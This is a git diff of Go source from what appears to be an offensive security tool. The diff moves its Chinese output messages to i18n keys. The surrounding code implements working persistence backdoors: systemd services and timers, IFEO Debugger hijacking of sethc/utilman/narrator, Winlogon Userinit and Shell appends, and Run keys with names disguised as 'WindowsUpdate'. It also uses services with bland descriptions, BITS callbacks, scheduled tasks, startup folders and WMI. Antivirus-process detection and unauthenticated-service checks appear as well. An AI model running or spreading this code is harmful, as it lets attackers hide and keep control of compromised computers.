output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
output.WriteString(i18n.GetText("systemdservice_header") + "\n")
|
||||
output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
var successCount int
|
||||
|
||||
// 1. 复制文件到服务目录
|
||||
servicePath, err := p.copyToServicePath(targetFile)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("copy_file_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath))
|
||||
output.WriteString(i18n.Tr("file_copied_to", servicePath) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 2. 创建systemd服务文件
|
||||
serviceFiles, err := p.createSystemdServices(servicePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("systemdservice_create_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", ")))
|
||||
output.WriteString(i18n.Tr("systemdservice_created", strings.Join(serviceFiles, ", ")) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 3. 启用并启动服务
|
||||
err = p.enableAndStartServices(serviceFiles)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("systemdservice_start_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString("✓ 服务已启用并启动\n")
|
||||
output.WriteString(i18n.GetText("systemdservice_started") + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 4. 创建用户级服务
|
||||
userServiceFiles, err := p.createUserServices(servicePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("systemdservice_user_create_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", ")))
|
||||
output.WriteString(i18n.Tr("systemdservice_user_created", strings.Join(userServiceFiles, ", ")) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 5. 创建定时器服务
|
||||
err = p.createTimerServices(servicePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("systemdservice_timer_create_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString("✓ 已创建systemd定时器\n")
|
||||
output.WriteString(i18n.GetText("systemdservice_timer_created") + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
|
||||
output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("systemdservice_success", successCount))
|
||||
@@ -160,7 +160,7 @@ func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, err
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建服务目录")
|
||||
return "", fmt.Errorf("%s", i18n.GetText("service_dir_create_failed"))
|
||||
}
|
||||
|
||||
// 生成服务可执行文件名
|
||||
@@ -273,7 +273,7 @@ StandardError=null
|
||||
}
|
||||
|
||||
if len(created) == 0 {
|
||||
return nil, fmt.Errorf("无法创建任何systemd服务文件")
|
||||
return nil, fmt.Errorf("%s", i18n.GetText("systemdservice_create_none"))
|
||||
}
|
||||
|
||||
return created, nil
|
||||
@@ -299,7 +299,7 @@ func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) err
|
||||
}
|
||||
|
||||
if len(errors) > 0 {
|
||||
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
|
||||
return fmt.Errorf(i18n.GetText("service_operation_error")+": %s", strings.Join(errors, "; "))
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
@@ -257,7 +257,7 @@ func (p *SystemInfoPlugin) collectAVInfo() {
|
||||
}
|
||||
}
|
||||
if len(matched) > 0 {
|
||||
p.logSuccess("systeminfo_antivirus", fmt.Sprintf("%s (%d个进程)", avName, len(matched)))
|
||||
p.logSuccess("systeminfo_antivirus", i18n.Tr("systeminfo_antivirus_process_count", avName, len(matched)))
|
||||
for _, proc := range matched {
|
||||
p.log("systeminfo_av_process", proc)
|
||||
}
|
||||
|
||||
+11
-11
@@ -26,10 +26,10 @@ func NewWinBITSPlugin() *WinBITSPlugin {
|
||||
func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
@@ -41,7 +41,7 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
// 创建任务并提取 GUID
|
||||
out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] 创建任务: %s\n", strings.TrimSpace(string(out))))
|
||||
output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n")
|
||||
return &plugins.Result{Success: false, Output: output.String()}
|
||||
}
|
||||
|
||||
@@ -55,29 +55,29 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
}
|
||||
if guid == "" {
|
||||
output.WriteString("[失败] 无法提取任务 GUID\n")
|
||||
output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n")
|
||||
return &plugins.Result{Success: false, Output: output.String()}
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[成功] 创建任务: %s (%s)\n", jobName, guid))
|
||||
output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n")
|
||||
|
||||
steps := []struct {
|
||||
desc string
|
||||
args []string
|
||||
}{
|
||||
{"添加文件", []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
|
||||
{"设置回调", []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
|
||||
{"设置重试", []string{"/SetMinRetryDelay", guid, "60"}},
|
||||
{"恢复任务", []string{"/resume", guid}},
|
||||
{i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
|
||||
{i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
|
||||
{i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}},
|
||||
{i18n.GetText("winbits_resume_task"), []string{"/resume", guid}},
|
||||
}
|
||||
|
||||
successCount := 1
|
||||
for _, step := range steps {
|
||||
out, err := exec.Command("bitsadmin", step.args...).CombinedOutput()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", step.desc, strings.TrimSpace(string(out))))
|
||||
output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n")
|
||||
continue
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[成功] %s\n", step.desc))
|
||||
output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -26,10 +26,10 @@ func NewWinIFEOPlugin() *WinIFEOPlugin {
|
||||
func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
@@ -39,9 +39,9 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
exe string
|
||||
desc string
|
||||
}{
|
||||
{"sethc.exe", "粘滞键 (Shift×5)"},
|
||||
{"utilman.exe", "辅助功能 (Win+U)"},
|
||||
{"narrator.exe", "讲述人"},
|
||||
{"sethc.exe", i18n.GetText("winifeo_sticky_keys")},
|
||||
{"utilman.exe", i18n.GetText("winifeo_accessibility")},
|
||||
{"narrator.exe", i18n.GetText("winifeo_narrator")},
|
||||
}
|
||||
|
||||
var output strings.Builder
|
||||
@@ -51,10 +51,10 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe)
|
||||
out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", t.desc, strings.TrimSpace(string(out))))
|
||||
output.WriteString(i18n.Tr("local_step_failed", t.desc, strings.TrimSpace(string(out))) + "\n")
|
||||
continue
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", t.desc, t.exe))
|
||||
output.WriteString(i18n.Tr("local_step_success_detail", t.desc, t.exe) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -26,22 +26,22 @@ func NewWinLogonPlugin() *WinLogonPlugin {
|
||||
func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
|
||||
|
||||
entries := []struct {
|
||||
name string
|
||||
value string
|
||||
desc string
|
||||
name string
|
||||
value string
|
||||
desc string
|
||||
}{
|
||||
{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), "Userinit 追加"},
|
||||
{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), "Shell 追加"},
|
||||
{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), i18n.GetText("winlogon_userinit_append")},
|
||||
{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), i18n.GetText("winlogon_shell_append")},
|
||||
}
|
||||
|
||||
var output strings.Builder
|
||||
@@ -50,10 +50,10 @@ func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
for _, e := range entries {
|
||||
out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
|
||||
output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n")
|
||||
continue
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[成功] %s\n", e.desc))
|
||||
output.WriteString(i18n.Tr("local_step_success", e.desc) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -28,23 +28,23 @@ func NewWinRegistryPlugin() *WinRegistryPlugin {
|
||||
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
|
||||
|
||||
entries := []struct {
|
||||
key string
|
||||
name string
|
||||
desc string
|
||||
key string
|
||||
name string
|
||||
desc string
|
||||
}{
|
||||
{`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), "当前用户 Run"},
|
||||
{`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), "本地机器 Run"},
|
||||
{`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), "当前用户 RunOnce"},
|
||||
{`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), i18n.GetText("winregistry_current_user_run")},
|
||||
{`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), i18n.GetText("winregistry_local_machine_run")},
|
||||
{`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), i18n.GetText("winregistry_current_user_runonce")},
|
||||
}
|
||||
|
||||
var output strings.Builder
|
||||
@@ -53,10 +53,10 @@ func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
for _, e := range entries {
|
||||
out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
|
||||
output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n")
|
||||
continue
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[成功] %s: %s\\%s\n", e.desc, e.key, e.name))
|
||||
output.WriteString(i18n.Tr("winregistry_step_success", e.desc, e.key, e.name) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -28,14 +28,14 @@ func NewWinSchTaskPlugin() *WinSchTaskPlugin {
|
||||
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(pePath))
|
||||
if ext != ".exe" && ext != ".dll" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
@@ -66,10 +66,10 @@ func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
out, err := cmd.CombinedOutput()
|
||||
result := strings.TrimSpace(string(out))
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", task.name, result))
|
||||
output.WriteString(i18n.Tr("local_step_failed", task.name, result) + "\n")
|
||||
continue
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", task.name, task.schedule))
|
||||
output.WriteString(i18n.Tr("local_step_success_detail", task.name, task.schedule) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -28,10 +28,10 @@ func NewWinServicePlugin() *WinServicePlugin {
|
||||
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
@@ -55,11 +55,11 @@ func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
fmt.Sprintf("DisplayName=%s", svc.display),
|
||||
fmt.Sprintf("start=%s", svc.start)).CombinedOutput()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", svc.name, strings.TrimSpace(string(out))))
|
||||
output.WriteString(i18n.Tr("local_step_failed", svc.name, strings.TrimSpace(string(out))) + "\n")
|
||||
continue
|
||||
}
|
||||
_ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run()
|
||||
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", svc.name, svc.start))
|
||||
output.WriteString(i18n.Tr("local_step_success_detail", svc.name, svc.start) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -28,10 +28,10 @@ func NewWinStartupPlugin() *WinStartupPlugin {
|
||||
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
@@ -41,8 +41,8 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
name string
|
||||
dir string
|
||||
}{
|
||||
{"用户启动文件夹", filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
|
||||
{"公共启动文件夹", filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
|
||||
{i18n.GetText("winstartup_user_folder"), filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
|
||||
{i18n.GetText("winstartup_common_folder"), filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
|
||||
}
|
||||
|
||||
var output strings.Builder
|
||||
@@ -51,10 +51,10 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
for _, loc := range locations {
|
||||
target := filepath.Join(loc.dir, fileName)
|
||||
if err := copyFile(absPath, target); err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: %v\n", loc.name, err))
|
||||
output.WriteString(i18n.Tr("local_step_failed", loc.name, err) + "\n")
|
||||
continue
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[成功] %s -> %s\n", loc.name, target))
|
||||
output.WriteString(i18n.Tr("local_step_success_arrow", loc.name, target) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -28,10 +28,10 @@ func NewWinWMIPlugin() *WinWMIPlugin {
|
||||
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
pePath := session.Config.WinPEFile
|
||||
if pePath == "" {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
||||
}
|
||||
if _, err := os.Stat(pePath); err != nil {
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(pePath)
|
||||
@@ -64,7 +64,7 @@ Write-Output "TOTAL:$ok"`,
|
||||
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("error_generic", fmt.Errorf("PowerShell执行失败: %w, 输出: %s", err, strings.TrimSpace(string(out)))))
|
||||
common.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out)))))
|
||||
}
|
||||
result := string(out)
|
||||
|
||||
|
||||
@@ -164,17 +164,17 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte(stompConnect)); err != nil {
|
||||
return false, fmt.Errorf("STOMP请求发送失败: %w", err)
|
||||
return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_send_failed"), err)
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("STOMP响应读取失败: %w", err)
|
||||
return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_read_failed"), err)
|
||||
}
|
||||
if n == 0 {
|
||||
return false, fmt.Errorf("STOMP无响应数据")
|
||||
return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response"))
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
@@ -182,7 +182,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
|
||||
if strings.Contains(responseStr, "CONNECTED") {
|
||||
return true, nil
|
||||
} else if strings.Contains(responseStr, "ERROR") {
|
||||
errorMsg := "STOMP认证错误"
|
||||
errorMsg := i18n.GetText("activemq_stomp_auth_error")
|
||||
if strings.Contains(responseStr, "Authentication failed") {
|
||||
errorMsg = "Authentication failed"
|
||||
} else if strings.Contains(responseStr, "Access denied") {
|
||||
@@ -193,7 +193,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
|
||||
return false, fmt.Errorf("%s", errorMsg)
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("STOMP未知响应格式")
|
||||
return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_unknown_response"))
|
||||
}
|
||||
|
||||
// identifyService ActiveMQ服务识别
|
||||
@@ -236,7 +236,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无响应数据"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response")),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -291,7 +291,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "cassandra",
|
||||
Banner: fmt.Sprintf("Cassandra (无认证, 集群: %s)", dummy),
|
||||
Banner: i18n.Tr("cassandra_no_auth_cluster", dummy),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -322,7 +322,7 @@ func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.Host
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
if opcode == cqlOpAuthChl {
|
||||
banner := "Cassandra (需要认证)"
|
||||
banner := i18n.GetText("cassandra_auth_required")
|
||||
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner}
|
||||
}
|
||||
|
||||
@@ -40,7 +40,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "elasticsearch",
|
||||
VulInfo: "未授权访问",
|
||||
VulInfo: i18n.GetText("unauthorized_access"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -108,27 +108,26 @@ type NetworkInfo struct {
|
||||
// Summary 返回网络信息摘要
|
||||
func (ni *NetworkInfo) Summary() string {
|
||||
if !ni.Valid {
|
||||
return "网络发现失败"
|
||||
return i18n.GetText("findnet_discovery_failed")
|
||||
}
|
||||
|
||||
var parts []string
|
||||
if ni.Hostname != "" {
|
||||
parts = append(parts, fmt.Sprintf("主机名: %s", ni.Hostname))
|
||||
parts = append(parts, i18n.Tr("findnet_hostname", ni.Hostname))
|
||||
}
|
||||
if len(ni.IPv4Addrs) > 0 {
|
||||
parts = append(parts, fmt.Sprintf("IPv4: %d个", len(ni.IPv4Addrs)))
|
||||
parts = append(parts, i18n.Tr("findnet_ipv4_count", len(ni.IPv4Addrs)))
|
||||
}
|
||||
if len(ni.IPv6Addrs) > 0 {
|
||||
parts = append(parts, fmt.Sprintf("IPv6: %d个", len(ni.IPv6Addrs)))
|
||||
parts = append(parts, i18n.Tr("findnet_ipv6_count", len(ni.IPv6Addrs)))
|
||||
}
|
||||
|
||||
if len(parts) == 0 {
|
||||
return "网络信息收集完成"
|
||||
return i18n.GetText("findnet_complete")
|
||||
}
|
||||
return strings.Join(parts, ", ")
|
||||
}
|
||||
|
||||
|
||||
// RPC数据包定义
|
||||
var (
|
||||
rpcBuffer1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
@@ -140,24 +139,24 @@ var (
|
||||
func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, error) {
|
||||
// 发送第一个RPC请求
|
||||
if _, err := conn.Write(rpcBuffer1); err != nil {
|
||||
return nil, fmt.Errorf("发送RPC请求1失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request1_failed"), err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 4096)
|
||||
if _, err := conn.Read(reply); err != nil {
|
||||
return nil, fmt.Errorf("读取RPC响应1失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response1_failed"), err)
|
||||
}
|
||||
|
||||
// 发送第二个RPC请求
|
||||
if _, err := conn.Write(rpcBuffer2); err != nil {
|
||||
return nil, fmt.Errorf("发送RPC请求2失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request2_failed"), err)
|
||||
}
|
||||
|
||||
// 读取网络信息响应
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return nil, fmt.Errorf("读取RPC响应2失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response2_failed"), err)
|
||||
}
|
||||
|
||||
// 解析响应数据
|
||||
|
||||
